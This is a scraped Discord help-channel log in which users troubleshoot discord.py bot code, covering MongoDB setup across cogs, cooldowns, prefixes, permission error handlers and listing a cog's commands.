#discord-bots
1 messages ยท Page 930 of 1
@bot.command()
async def servers(ctx):
await ctx.send("\n".join(guild.name for guild in bot.guilds))
I'm trying this, but it's telling me collection = await db.connect() needs to be in a function because its being awaited
Where am I supposed to put it?
It needs to be used inside an asynchronous function
yeah
What's db btw
Can we get guild owner ?
you can
Yes
.owner attribute or .owner_id if u want the owner's ID
Ok ๐
the python package
.collect() is a function in the connection.py file in the db package
I mean in this*
Why are there two people spamming my dms for help
??
Who?
hmm ok it doesnt work if its outside
and .collect() is supposed to be returning database['users'], but I'm having a hard time
You should DM @novel apex
Uhm, this is my requirements:
matplotlib==3.5.1
matplotlib-inline==0.1.3
mpmath==1.2.1
numpy==1.22.0
py==1.11.0
pymongo==4.0.1
requests==2.27.1
discord==1.7.3
discord.py==1.7.3
aiohttp==3.7.4
async-timeout==3.0.1
discordmongopy==0.3.0
motor==2.5.1
pymongo==4.0.1
``` Got no clue what to change
~A period cannot be next to an indexing in Python like that~ irrelevant now
typo
!d discord.Guild.owner
property owner```
The member that owns the guild.
Anyone?
Custom discord clients are illegal
Bot client?
Doesn't matter how
What's sad about it tho.
I am so lost
R.I.P
?
This all started as me trying to remove my duplicate code and I've wasted 3 hours trying to figure out how do do what I could already do before
Oh you mean like betterdc stuff
Sparky deleted his question.
Could you re-ask the question?
client.db = client.mongo["example"]
``` Hm?
I suppose
Did you define mongo to client?
I use a JSON file to store the url to connect to my MongoDB
and I connect to it using this code
data = json.load(file)
cluster = MongoClient(data['mongo_url'])
db = cluster['discordbot']
collection = db['users']```
Pretty sure, you mean this?
client.motor = motor.motor_asyncio.AsyncIOMotorClient
But this is called motor not mongo?
But I have this code in each of my cogs, and PyCharm didn't like that, so I was wondering if I should remove the duplicates and how I would do so
Yeah
@junior verge mongo and motor are 2 different things, don't use both at the same time
@client.event
async def on_member_join(member):
guild = member.guild
channel = guild.get_channel(955726308787245086)
await channel.send(f"{member.mention} has just joined the server!")
@client.event
async def on_message(message):
suggestionData = '{}'.format(message.content).replace('!suggest', ' ')
if message.author == client.user:
return
if message.content.startswith('!suggest'):
embed=discord.Embed(title = 'New Suggestion')
embed.add_field(name='Vote Below!', value=suggestionData, inline=True)
channel=client.get_channel(955726308787245086)
embed.color=random.choice(color)
embed.set_footer(text='Suggested by ' + message.author.name, icon_url=message.author.avatar_url)
up_emoji = '\N{THUMBS UP SIGN}'
down_emoji = '\N{THUMBS DOWN SIGN}'
msg = await channel.send(embed=embed)
await msg.add_reaction(up_emoji)
await msg.add_reaction(down_emoji)
await message.channel.send('Your suggestion has been submitted ' + '**' + message.author.name + '**')
@client.event
async def on_ready():
print('We have logged in as {0.user}'.format(client))
client.run(os.getenv('TOKEN'))```How can i add cooldowns here? I"m still figuring out about it
It doesn't work?
Ah typo xD
It does work, but it's in each of my cogs
Sorry my bad
and PyCharm doesn't like that its duplicate
Ahh just make a bot var.
So I was wondering if I should get rid of the duplicates. Would that be more pythonic?
The most pythonic would be to have a bot var when subclassed.
What does that mean?
I was told to make a db package with an init.py file and a connection.py file
And I stored
data = json.load(file)
cluster = MongoClient(data['mongo_url'])
db = cluster['discordbot']
collection = db['users']``` this in the connections.py file
That would mean overriding the Bot class then defining the db in self
bot.db = your_database
I see
Would I then be able to run this? result = bot.db.find_one({"_id": ctx.author.id})
yup
If db will then be the connection, yes.
Getting this error now
client = commands.Bot(command_prefix=get_prefix, help_command=None)
``` I defined get_prefix
```py
async def get_prefix(client, message):
if not message.guild:
return commands.when_mentioned_or()
try:
data = await client.prefixes.find(message.guild.id)
if not data or "prefix" not in data:
return commands.when_mentioned_or(client.DEFAULT_PREFIX, message)
return commands.when_mentioned_or(data["prefix"])(client, message)
except:
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
So how would I go about overriding the bot class? This is stuff I haven't done before
You don't need to i just said it would be most pythonic.
Oh
Does look nicer though, do recommend checking it out as a learning experience.
Okay, I'm just trying to make it so I don't have
data = json.load(file)
cluster = MongoClient(data['mongo_url'])
db = cluster['discordbot']
collection = db['users']``` at the top of every cog
Anyone?
Ok
@client.event
async def on_member_join(member):
guild = member.guild
channel = guild.get_channel(955726308787245086)
await channel.send(f"{member.mention} has just joined the server!")
@client.event
async def on_message(message):
suggestionData = '{}'.format(message.content).replace('!suggest', ' ')
if message.author == client.user:
return
if message.content.startswith('!suggest'):
embed=discord.Embed(title = 'New Suggestion')
embed.add_field(name='Vote Below!', value=suggestionData, inline=True)
channel=client.get_channel(955726308787245086)
embed.color=random.choice(color)
embed.set_footer(text='Suggested by ' + message.author.name, icon_url=message.author.avatar_url)
up_emoji = '\N{THUMBS UP SIGN}'
down_emoji = '\N{THUMBS DOWN SIGN}'
msg = await channel.send(embed=embed)
await msg.add_reaction(up_emoji)
await msg.add_reaction(down_emoji)
await message.channel.send('Your suggestion has been submitted ' + '**' + message.author.name + '**')
@client.event
async def on_ready():
print('We have logged in as {0.user}'.format(client))
client.run(os.getenv('TOKEN'))```
How can i add cooldowns here? I"m still figuring out about
Please
Cooldowns for what?
for the command
You can't add an event for a cooldown?
Oh i see... you have your 'commands' in a weird way
Don't bump the question, I'm doing some research. When does this error occur? Inside a guild or DM?
A command looks like this @bot.command() async def get_commands(ctx, cog): commands = get_commands(f"Cogs.{cog}") await ctx.send(commands)
Sorry, inside a guild. When I do .prefix ! for example
You have the command decorator, and then the name of the function is the command, and you just put the prefix you assigned to your bot in front of it
So when modifying the prefix?
?
how can i add the cooldown?
You don't have any commands to add cooldowns to
You have your bot recognizing when someone types !suggest
My button not working after bot restart how to fix
That is not a command, that's the bot looking for a specific message
how can i fix it?
change your suggest command
hey
peeps
Guys thats possible to make the bot read a DM and send in in webhook?
so ho
@client.command()
async def suggest(ctx):
embed=discord.Embed(title = 'New Suggestion')
embed.add_field(name='Vote Below!', value=suggestionData, inline=True)
channel=client.get_channel(955726308787245086)
embed.color=random.choice(color)
embed.set_footer(text='Suggested by ' + ctx.author.name, icon_url=message.author.avatar_url)
up_emoji = '\N{THUMBS UP SIGN}'
down_emoji = '\N{THUMBS DOWN SIGN}'
msg = await channel.send(embed=embed)
await msg.add_reaction(up_emoji)
await msg.add_reaction(down_emoji)
await ctx.send('Your suggestion has been submitted ' + '**' + message.author.name + '**')```
Something like this @brisk zodiac
how do i make my botghost thing not say "MADE BY BOT GHOST"
ooops
nice then how can i add the cooldown to my command?
@commands.cooldown(1, 86400, commands.BucketType.user) use this decorator
Where?
It's a decorator, so it goes above the command
Your @client.events are all decorators
return commands.when_mentioned_or(client.DEFAULT_PREFIX, message) this part returns a function. It's not the same as the other 2
!d discord.ext.commands.cooldown
@discord.ext.commands.cooldown(rate, per, type=discord.ext.commands.BucketType.default)```
A decorator that adds a cooldown to a [`Command`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.Command "discord.ext.commands.Command")
A cooldown allows a command to only be used a specific amount of times in a specific time frame. These cooldowns can be based either on a per-guild, per-channel, per-user, per-role or global basis. Denoted by the third argument of `type` which must be of enum type [`BucketType`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.BucketType "discord.ext.commands.BucketType").
If a cooldown is triggered, then [`CommandOnCooldown`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CommandOnCooldown "discord.ext.commands.CommandOnCooldown") is triggered in [`on_command_error()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.discord.ext.commands.on_command_error "discord.discord.ext.commands.on_command_error") and the local error handler.
A command can only have a single cooldown.
@brisk zodiac
okay
I changed it to, ```py
async def get_prefix(client, message):
if not message.guild:
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
try:
data = await client.prefixes.find(message.guild.id)
if not data or "prefix" not in data:
return commands.when_mentioned_or(client.DEFAULT_PREFIX, message)
return commands.when_mentioned_or(data["prefix"])(client, message)
except:
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
ile "main.py", line 31
embed.add_field(name='Vote Below!', value=suggestionData, inline=True)
^
IndentationError: unindent does not match any outer indentation level
It said this
Could you add some prints? So we can determine what return triggers the error?
Sure, where?
In my config file too?
Intent the line where you create the embed.
async def get_prefix(client, message):
if not message.guild:
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
try:
data = await client.prefixes.find(message.guild.id)
if not data or "prefix" not in data:
print("1")
return commands.when_mentioned_or(client.DEFAULT_PREFIX, message)
print("2")
return commands.when_mentioned_or(data["prefix"])(client, message)
except:
print("3")
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
That's basic python man
okay
You gotta spend a little more time learnin about that
me?
No no
ah okay
The other guy lol. Had an indentation error and asked about it
lol
@abstract kindle
Lmfao no
Not at all but I can try
Only makes it through 1
A lot of people here are.
You guys are way better. Also I figured it out Panda
return commands.when_mentioned_or(client.DEFAULT_PREFIX, message) is wrong, it should be return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message). Because when_mentioned_or returns a wrapped function, therefor you need to call it again
Selects and dropdown
Thought so since 1 was the odd one out. Try this.
return commands.when_mentioned_or(client.DEFAULT_PREFIX)(client, message)
Yep that's it
Aren't those interactions?
I need help in that topic
Ask the question
I used to know how to use those, I have some old code that uses them. But they were a little finnicky
What a beutiful code

He best not be typing out that code
no comments
Hey ashley
ctrl+c, ctrl+v
Hi AD0T
long time
You remeber
Ashley is Selects and dropdown expert.
Yes I has exams for a month
I know her
you need to select the text to copy 
Hey ash
...
ctrl+a/ctrl+c/ctrl+v
What is happining
What's the code?
indeed
We are waiting on you.
this chat's a mess smh
๐ ๐ฅณ
Ohhhhhh oh
@bot.event
async def on_message(message: discord.Message):
if message.guild is None and not message.author.bot:
print(message.content)
await bot.process_commands(message)
How to define the bot ?
File "main.py", line 24, in <module>
@bot.event
NameError: name 'bot' is not defined```
When is it not tho ๐
Hey hunter
well said
bot = commands.Bot(command_prefix = "!")
Can you show how you define client?
Nvm, I'm out just gonna get back to thinking about my website design
open source?
Don't ask me to join back, already in 100 servers
It's a bunch of discord users trying to code discord bots. Not sure if we're gonna be the most professional
Wym
Ok Sure
If the website is open source
Thanks working
Just use emmet you're done in a day then.
Did you already have client defined?
Nope
But it dont print the messages that sent to the bot in DM
Show your full code
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix = "!")
@bot.event
async def on_message(message: discord.Message):
if message.guild is None and not message.author.bot:
print(message.content)
await bot.process_commands(message)
That should work, if you have bot.run(TOKEN) at the end.
Some suggestions ```py
from discord import Message
from discord.ext import commands
bot = commands.Bot(command_prefix="!")
@bot.listen()
async def on_message(message: Message) -> None:
if message.guild is None and not message.author.bot:
print(message.content)
After whole code or just after that code?
Thanks, I'll use bot = commands.Bot(command_prefix="!", intents=discord.Intents.all())
this will process commands twice
Double trouble.
yeah kwargs are no space
What's the point of (message: Message) -> None? It's automaticly a message object.
Since beautiful code ;-;
Very beautiful indead
Show th code for that part too
@cloud dawn
Sure
its called typehinting and it tells your ide what class the message will be
the -> None is saying that the function doesnt return anything
You can't call a string it's like trying to call someone who doesn't own a phone.
But it's already a message object
im not sure that analogy flies
@client.group(invoke_without_command=True)
async def help(ctx):
embed_hm = disnake.Embed(title="Categories",description="Please use the Select Menu below to explore the corresponding category")
async def slct1_callback(interaction):
await interaction.send("working")
async def slct2_callback(interaction):
await interaction.send("working2")
slct = Select(placeholder="Select the command category you want to see",custom_id="20")
sct_ct1 = SelectOption(label="Moderation",description="For Admins and Mods")
sct_ct2 = SelectOption(label="Fun",description="Games and other fun commands")
#sct_ct1.callback = slct1_callback
#sct_ct2.callback = slct2_callback
slct.append_option(sct_ct1)
slct.append_option(sct_ct2)
view = View()
view.add_item(slct)
await ctx.send("Testing selects for help command!",embed=embed_hm,view=view)
slct.custom_id()
@client.command(pass_context=True)
@commands.has_permissions(administrator=True)
async def user(ctx):
msg = "You're an admin {}".format(ctx.message.author.mention)
await ctx.send(msg)
from discord import Message
from discord.ext import commands
bot = commands.Bot(command_prefix="!", intents=discord.Intents.all())
@bot.listen()
async def on_message(message: Message) -> None:
if message.guild is None and not message.author.bot:
print(message.content)
print("working")```
Thats not the full code but part,
No errors, when I send a message to the bot nothing happens.
yes, the point of typehinting is to tell the ide what it will be - typehints dont affect the code, just tell the ide what class it will be (so it can autocomplete attributes etc)
just why
Doesn't it print anything?
It is but we also refer the object. You can then also call message msg but maintaining the same cleanness of code.
nope
does it have message intents
I just send hi to bot
In DM
from discord import Message, Intents
from discord.ext import commands
bot = commands.Bot(command_prefix="!", intents=Intents.all())
@bot.listen()
async def on_message(message: Message) -> None:
if message.guild is None and not message.author.bot:
print(message.content)
print("working")
Are you sure? Perhaps you meant message.channel.send(message.content9 and not print.
You do need to import Intents.
@cloud dawn
I meant print, nothing pop up in console
With?
Done, still not working
!paste you could paste something here. Full code, no token ofc
Pasting large amounts of code
If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pythondiscord.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
!e ```py
def func(a: str, b: int) -> int:
the ide now thinks that a is an str so
it will recognise methods such a .lower()
the ide thinks b is an int so
it will recognise methods such as .to_bytes()
return 5 # this fufills the -> int because the function
is returning an int
num = func('a', 1) # ignore the variables i pass here
the ide now knows that num is an int
@manic wing :warning: Your eval job has completed with return code 0.
[No output]
typehinting is very useful
What happens if you use this?```py
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix="!", intents= discord.Intents.all())
@bot.listen()
async def on_message(message):
if message.guild is None and not message.author.bot:
print(message.content)
print("working")
else:
print("not in dms")
yeah it will even highlight the methods and recommend those
Also just by reading the function I instantly see it returns an int what is very useful sometimes.
Thats full code
from json import load
import discord
from discord.ext import commands
bot = commands.Bot(command_prefix="!", intents= discord.Intents.all())
@bot.listen()
async def on_message(message):
if message.guild is None and not message.author.bot:
print(message.content)
print("working")
else:
print("not in dms")
with open('config.json') as g:
d = load(g)
token = d["token"]
header_data = {
"authorization": str(token),
} ```
Nothing
Shame not a lot people use annotations considering python's community size
Did you run the bot?
I completely agree.
Stubs are neutral evil
Public static void Main when?
Question. If I want to use this function in another file
user_in_database = await collection.find_one({"_id": ctx.author.id})
if bet > user_in_database["money"]:
await ctx.send(
f"You don't have enough to place this bet.\n(Balance: *{user_in_database['money']} coins*)")
return
# If their bet is 0, stop the code
elif bet == 0:
await ctx.send("You can't bet 0 coins.")
return
await bet_checks()
How would I do so?
from ... import bet_checks
Assuming you got an init ofc
It's not showing up when I do that..
Is it normal to have an init file for a Cogs folder?
You got an init file?
Do you even start your bot?
For structured coders yes.
Okay cool
Is it online? @slate swan
init's are very useful for clean coding.
I can imagine. Where should I store that function then?
Nope why?
#a.py
__all__ = ("check",)
async def check() -> bool:
...
#__init__.py
from .a import *
#b.py
from .a import check
``` prob
Well from the root. Where is the function?
Well the bot has to be online for it to work. ๐คฆโโ๏ธ
@bot.listen()
async def on_message(message: Message) -> None:
''' first way '''
if ctx.channel.type is discord.ChannelType.private:
print(message.content)
''' second way '''
if isinstance(message.channel, discord.ChannelType.private):
print(message.content)
''' third way '''
add a `commands.dm_only` decorator
''' fourth way '''
if message.guild is False:
print(message.content)
Before it was online now its not without any errors
It's in one of my gambling game's files
your what? o.O
A bot that isn't online won't do anything.
I have a cog called HighLow and it's in that file
finally
from .a import check, you could use the file that a is in as well to do the import
interaction.response.send_message('Clicked!')
I got a kick command in my cog, how do I make it when someone that doesnt have perms type the command it will give a error with that he does not have enough perms
this not working
Yeah so that folder also needs a __init__.py file, can be empty.
@junior verge error handling
Yeah can you link?
!pep 420 (for more info on namespace files, aka __init__)
hi help me?
!d discord.ext.commands.has_permissions
@discord.ext.commands.has_permissions(**perms)```
A [`check()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.check "discord.ext.commands.check") that is added that checks if the member has all of the permissions necessary.
Note that this check operates on the current channel permissions, not the guild wide permissions.
The permissions passed in must be exactly like the properties shown under [`discord.Permissions`](https://discordpy.readthedocs.io/en/master/api.html#discord.Permissions "discord.Permissions").
This check raises a special exception, [`MissingPermissions`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.MissingPermissions "discord.ext.commands.MissingPermissions") that is inherited from [`CheckFailure`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CheckFailure "discord.ext.commands.CheckFailure").
highlow.py
crash.py
Yeah I check if they have permission I just need like a if they dont have the permission await ctx.send etc
Should I put an init file in this folder?
..
Yes.
!d discord.error
No documentation found for the requested symbol.
hi?
And then in that init file, just import the function from its root file?
what are you looking for?
uhm
!d discord.ext.commands.Command.error
@error```
A decorator that registers a coroutine as a local error handler.
A local error handler is an [`on_command_error()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.discord.ext.commands.on_command_error "discord.discord.ext.commands.on_command_error") event limited to a single command. However, the [`on_command_error()`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.discord.ext.commands.on_command_error "discord.discord.ext.commands.on_command_error") is still invoked afterwards as the catch-all.
Changed in version 2.0: `coro` parameter is now positional-only.
You could but you can also just import it from the main.py
@slate swan this not working
you have to use the @has_permissions decorators which raises MissingPermission error, somewhere in your bot you have to create an event which will listen to the on_command_error event, this event takes has arguments the context and the error, then check if the error argument is an instance of MissingPermission and with the context you will do the trick
Use one of that @junior verge
ty
ty
commands also have an error method, so you can do an error handler for a single command like doing this:
async def my_command(ctx):
pass
@my_command.error
async def my_command_error(ctx, error):
pass
What do you mean? It's in the file highlow.py
It's not in main.py
Maybe we mean the same thing
Oh then it's still the same since you run main.
Lemme make you as small example
@kick.error
async def kick_error(error, ctx):
if isinstance(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
``` like that or do I need to do `self` as well
before error
first of all fix your indentation
then you will need self only if the function is inside a cog class
may be better to have a global error handler for that
Just make a handler that handles all missing permissions errors
How?
Basically same thing as you have there just change the name
to?
using the on_command_error event
thanks :)
@kick.error
async def error(self, error, ctx):
if on_command_error(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
``` What do I put as name there then? don't really get it sorry
Nothing works, self bots are supported in new API ?
no
@bot.listen("on_command_error")
async def uwu_command_error(ctx, error):
if isinstance(error, your_uwu_error_obj):
...
She means anything you want
even if they are, they are against the TOS
Just make it descriptive
^^
For example, this handler is only handling errors that deal with missing permissions
So name it something after what it's handling
yeah, if you wanna do the same stuff with every other command, use a global error handler
if isinstance(error, commands.MissingPermissions):
the commands.MissingPermissions is the only error that this handles
noooo
uh like that?
@client.listen("on_command_error")
async def error(self, error, ctx):
if isinstance(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
if isinstance
mb
Yes
yes, right
I copied from his code
lol
it says client is not defined though
try bot
I don't use bot
bot then 
if that also doesn't work, then ๐ amen
lol
cba to guess your instance name anymore
What did you make it
Just got it as client still
If it's in a cog wouldn't it be @commands.Cog.listener
think so
Then put that
lemme try okay
@commands.Cog.listener("on_command_error")
async def error(self, error, ctx):
if isinstance(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
I see. Does it work with async functions? Because I'm suspicious that that's why it's not working
It's the same
Hmm ok
Normally there's an auto complete option when I'm importing, and I'm not getting that..
What program are you using?
PyCharm
user_in_database = await collection.find_one({"_id": ctx.author.id})
if bet > user_in_database["money"]:
await ctx.send(
f"You don't have enough to place this bet.\n(Balance: *{user_in_database['money']} coins*)")
return
# If their bet is 0, stop the code
elif bet == 0:
await ctx.send("You can't bet 0 coins.")
return```
This function is inside of one of my commands in my HighLow.py file, which is inside my Cogs folder
When I try to import it anywhere, it doesn't show up
That also autocompletes, al tough they are a bit of an ass when it comes to local imports. They want you to make a local package of it instead with a setup etc.
Are you sure you have __init__.py in your Cogs folder
Yep
I'm 100% suspicious of it being asynchronous here
because I can import functions that aren't
channel name is author id
async def first_button(self, button: disnake.ui.Button, interaction: disnake.MessageInteraction):
a = interaction.author.id
if a in interaction.guild.channels:
await interaction.response.send_message('Clicked!')
how do you sync multiple guilds in an app command?
You are checking if user id is in channels list wth
yup
That won't ever work
im making ticket command
change it into str?
if str(a) in [c.name for c in interaction.guild.channels]```
alright
You gotta check for name
yes
But it is better to do a for loop with a break instead of full list comprehension
Or like
a = str(a)
if any(a == c.name for c in interaction.guild.channels):```
how can i ctx the web photo
its working fine ๐
web photo?
yes
You mean get message attachment or what
ctx the web photo wdym?
whats a web photo?
okk
how can i Send picture message (web) i mean the bot send
you wanna send an image?
@client.command(name="gstart", aliases=["gs", "gq"])
@commands.has_permissions(kick_members=True)
async def gstart(ctx, time=None, *, prize=None):
if time == None:
return await ctx.send(':wt: Wrong **TIME** Input!')
elif prize == None:
return await ctx.send(':wt: Wrong **PRIZE** Input!')
gwend = datetime.now() + time
gwembed = discord.Embed(title = f":wt: {prize}", description = f':wt: Hosted by: {ctx.author.mention}\n :wt: React with :tada: to enter!\n :wt: Ends in: <t:{int(time.mktime(gwend.timetuple()))}:R>!', color=0x5C71DE)
gwembed.timestamp = datetime.utcnow()
gwembed.set_footer(text=f"1 winner ")
convertTimeList = {'s':1, 'm':60, 'h':3600, 'd':86400, "w":604800, "sec":1, "mins":60,"seconds":1, 'minutes':60, 'hours':3600, 'days':86400, "weeks":604800}
gwtime = int(time[:-1]) * convertTimeList[time[-1]]
gwmsg2 = await ctx.send(':wt: **NEW GIVEAWAY!** :wt:', embed=gwembed)
await gwmsg2.add_reaction(":wt:")
await asyncio.sleep(gwtime)
new_msg = await ctx.channel.fetch_message(gwmsg2.id)
users = await new_msg.reactions[0].users().flatten()
users.pop(users.index(client.user))
winner = random.choice(users)
server = ctx.guild
await winner.send(f":tada: **GG!** You won {prize} giveaway in **`{server}`**!")
await ctx.send(f":tada: Congratulations! {winner.mention} won the Giveaway! \n:tada: **{len(users)} Entrants!** :wt:")
bot runs without errors but the command is unresponsive
Panda here?
do you have an on_message function?
the url_pic key isn't inside jdata
what?!!!!
I have client.listen(โon_messageโ)
But i added
oh
whats jdata?
Extra spaces after pho
Or maybe not
Do you have an on_command_error event ?
You cannot add str to a datetime.
Yes
oh fk i write it down on github code
Mind showing it
Is that why it didn't work?
@client.event
async def on_command_error(ctx, error):
await ctx.send(f'{error}')
probably
It just didn''t give any error when someone without permission tried
Bad variable naming, you cannot have the argument name same as function name
That's all?
Yes
No wait
@commands.Cog.listener("on_command_error")
async def test(self, error, ctx):
if isinstance(error, commands.MissingPermissions):
em = discord.Embed(title='Error', description=f"{ctx.author.mention}, You don't have the permissions to do this.", color=0xCC1313)
await ctx.send(embed=em)
``` so this would work then?
@client.event
async def on_command_error(ctx, error):
if isinstance(error, commands.MissingRequiredArgument):
await ctx.send('**Wrong command usage kindly put the correct arguments**')
And Context is the first argument, not the Exception
bot = discord.Bot(
intents=intents,
allowed_mentions=discord.AllowedMentions(
everyone=False, roles=True, users=True, replied_user=True
),
activity=discord.Activity(
type=discord.ActivityType.competing, name="a Simon says event!"
)
Code:
@slate swan
Add else: raise error at the end
What library are you using?
Because it's commands.Bot unless you're using our beloved pycord Library ๐
This doesn't give me a error
- you don't have pycord installed properly
- maybe pycord removed
Bot
ok so I need to install pycord ok thx
discord.ext.commands.Bot
from exc discord.ext.commands.errors.CommandInvokeError: Command raised an exception: TypeError: unsupported operand type(s) for +: โdatetime.datimeโ and โstrโ
they added the Bot class to the discord package directly?
class datetime.timedelta(days=0, seconds=0, microseconds=0, milliseconds=0, minutes=0, hours=0, weeks=0)```
All arguments are optional and default to `0`. Arguments may be integers or floats, and may be positive or negative.
Only *days*, *seconds* and *microseconds* are stored internally. Arguments are converted to those units...
use this.
New error:
Traceback (most recent call last):
File "main.py", line 79, in <module>
@bot.user_command(name="Eliminate")
AttributeError: 'Bot' object has no attribute 'user_command'
well, idk about that ngl, which module u using
Den what to do
what library are you trying to use and where did you get the code from?
read the tag i sent above
Are init files in Cog folders a thing?
you can have __init__.py files anywhere depending on your usage
If so, how do I avoid the error of the init file having no setup function
I mean how can or what do I add/remove from my code to fix the error?
make a setup function in the init file which does nothing but pass
def setup(bot): pass``` thats all.
no
they made a new class iirc
Ah
Iโm asking
How can I fix the error by removing or adding a line of code or something
elho

Any idea why this doesnt give me any errors
async def get_commands(ctx, cog):
commands = await get_commands(cog)
await ctx.send(commands)```
Help I feel dumb
This is telling me get_commands is missing a positional argument 'cog'
bot.get_cog().walk_commands()
.
!d discord.ext.commands.Cog.walk_commands
for ... in walk_commands()```
An iterator that recursively walks through this cogโs commands and subcommands.
it's telling me NoneType doesn't have the attribue walk_commands()
I don't believe it.
Then you didn't get the cog.
!d discord.ext.commands.Cog
class discord.ext.commands.Cog(*args, **kwargs)```
The base class that all cogs must inherit from.
A cog is a collection of commands, listeners, and optional state to help group commands together. More information on them can be found on the [Cogs](https://discordpy.readthedocs.io/en/master/ext/commands/cogs.html#ext-commands-cogs) page.
When inheriting from this class, the options shown in [`CogMeta`](https://discordpy.readthedocs.io/en/master/ext/commands/api.html#discord.ext.commands.CogMeta "discord.ext.commands.CogMeta") are equally valid here.
The cog name is wrong
!d discord.ext.commands.Bot.get_cog
get_cog(name, /)```
Gets the cog instance requested.
If the cog is not found, `None` is returned instead.
Changed in version 2.0: `name` parameter is now positional-only.
Yeah, you didn't get in the right name.
What does the cog name have to include
I've been trying this f"Cogs.{cog}"
just cog doesn't work either
You probably misspelled the name when you used get_cog.
Nothing is working. Anything I put in comes out as NoneType
what even is your code
async def get_commands(ctx, cog):
print(cog)
commands = bot.get_cog("HighLow.py").walk_commands()
await ctx.send(commands)```
This comment is not really needed.
I got it to print ALL the commands of my bot
But I can't get it to print them for just a Cog
The cog is just named HighLow I belive.
!d discord.ext.commands.Cog.get_commands have you tried this?
get_commands()```
The type of file shouldn't be written
Yeah
commands = bot.get_cog("HighLow").walk_commands()
AttributeError: 'NoneType' object has no attribute 'walk_commands'```
This error every single time
Maybe, cogs.HighLow.
Yeah nothing is working here 
doesnt bot.commands already show all commands including cogs or are you trying to do like a category?
Trying to have it show me all the commands in a single cog
!d discord.ext.commands.Bot.commands
property commands```
A unique set of commands without aliases that are registered.
figured
is your cog in a folder?
it should be "Cogs.filename"
You do know that you shouldn't enter the file name, you should enter the name you entered when you used the setup function right?
Yeah that's what I've been trying. Still showing up as NoneType
No
?
The name argument isn't the name of the file.
Is there any way to define multiple on_message function?
Gave me hope, but even when I change the name to the setup name it's still NoneType
then what is it?
!d discord.ext.commands.Bot.listen
@listen(name=None)```
A decorator that registers another function as an external event listener. Basically this allows you to listen to multiple events from different places e.g. such as [`on_ready()`](https://discordpy.readthedocs.io/en/master/api.html#discord.on_ready "discord.on_ready")
The functions being listened to must be a [coroutine](https://docs.python.org/3/library/asyncio-task.html#coroutine "(in Python v3.10)").
Example...
The name of this: ```py
def setup(client):
client.add_cog(THE_COG_NAME(client))
bro the name of what?
question, how do you get your code to have color when sending through discord
The name of the actual cog
no?
Yes
!d discord.ext.commands.Bot.load_extension
await load_extension(name, *, package=None)```
This function is a [*coroutine*](https://docs.python.org/3/library/asyncio-task.html#coroutine).
Loads an extension.
An extension is a python module that contains commands, cogs, or listeners.
An extension must have a global function, `setup` defined as the entry point on what to do when the extension is loaded. This entry point must have a single argument, the `bot`.
Changed in version 2.0: This method is now a [coroutine](https://docs.python.org/3/glossary.html#term-coroutine "(in Python v3.10)").
check the name arg
name is not a kwarg there
typo
hey i wanted to know how can i mention all the users at once whoever reacted on a message reaction?
!d discord.Reaction.users
async for ... in users(*, limit=None, after=None)```
Returns an [asynchronous iterator](https://docs.python.org/3/glossary.html#term-asynchronous-iterator "(in Python v3.10)") representing the users that have reacted to the message.
The `after` parameter must represent a member and meet the [`abc.Snowflake`](https://discordpy.readthedocs.io/en/master/api.html#discord.abc.Snowflake "discord.abc.Snowflake") abc.
Changed in version 2.0: `limit` and `after` parameters are now keyword-only.
Examples
Usage...
use the async iterator to get the users, and use .mention property
I'd use a join as well.
and how can i do that?
Getting closer guys
@bot.command()
async def get_comms(ctx, cog):
cmds = bot.get_cog(cog).get_commands()
await ctx.send(cmds)
This gives me [<discord.ext.commands.core.Command object at 0x1027840d0>]
I had to change the name of my function ๐ didn't even realize it was the same as the discord.py get_commands()
what do you want to send about the command with get_comms? i assume you'd want to put it all in an embed
Probably, and I'll make that happen later. Unless its critical to getting information out of the object
so what's your expected output overall if you have one?
Just a list of the names of the commands in the specific Cog i request
ohh I see
Yeah. It's also for testing purposes so I can learn more about how this all works.
!d discord.ext.commands.core.Command
class discord.ext.commands.Command(*args, **kwargs)```
A class that implements the protocol for a bot text command.
These are not created manually, instead they are created via the decorator or functional interface.
I think I know what to do
so I think you would have to go through each command in the list of commands you get (cmds) and get the name from each one
ah awesome!
how to add a reaction to the command output?
Got it!
async def get_comms(ctx, cog):
cmds = bot.get_cog(cog).get_commands()
await ctx.send(bot.get_command(cmds[0].name))```
Curious, how do I format my code in python when I send it through discord. Some people have color when they send code..
.
so first, you would want to save the message you send out into a variable, like
message = await ctx.send("the message you sent")
!code
Here's how to format Python code on Discord:
```py
print('Hello world!')
```
These are backticks, not quotes. Check this out if you can't find the backtick key.
Nope
I sent an embed first and then want the bot to react to it
then, you can do message.add_reaction(":emoji_name_goes_here:")
kk
i think you'd want to assign the message sent right?
No await ?
yeah, that's ultimately what I meant
Forgot it has to be sent before it can have reactions added to it lol
